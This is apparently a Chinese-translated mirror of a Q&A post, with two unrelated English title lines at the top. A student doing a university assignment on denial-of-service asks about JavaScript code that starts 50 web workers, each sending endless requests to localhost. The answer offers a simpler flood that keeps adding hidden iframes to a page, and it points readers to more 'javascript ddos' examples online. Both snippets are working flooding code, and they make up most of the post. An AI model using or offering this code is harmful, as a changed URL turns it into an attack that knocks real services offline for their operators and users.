[英]Has anybody ever done large searches in JavaScript using webworkers to parallelize?
[英]JavaScript DoS attack using WebWorkers
在大學里,我們有點“功課”,試圖執行拒絕服務攻擊。 我決定采取與其他方式不同的方式。 我試圖使用JavaScript執行它。
問題是:
index.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>
worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);
謝謝您的投入!
因此,首先,如果我可以改進此代碼,我將使用setInterval代替while(1)。 其次,我在這里找到了一個簡單得多的版本:
function _DDoS(url){
document.body.innerHTML+='<iframe src="'+url+'" style="display:none;"> </iframe>';
}
for(;;){
setTimeout(_DDoS("http://localhost"),10);
}
只要搜索javascript ddos,您就會發現很多示例
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.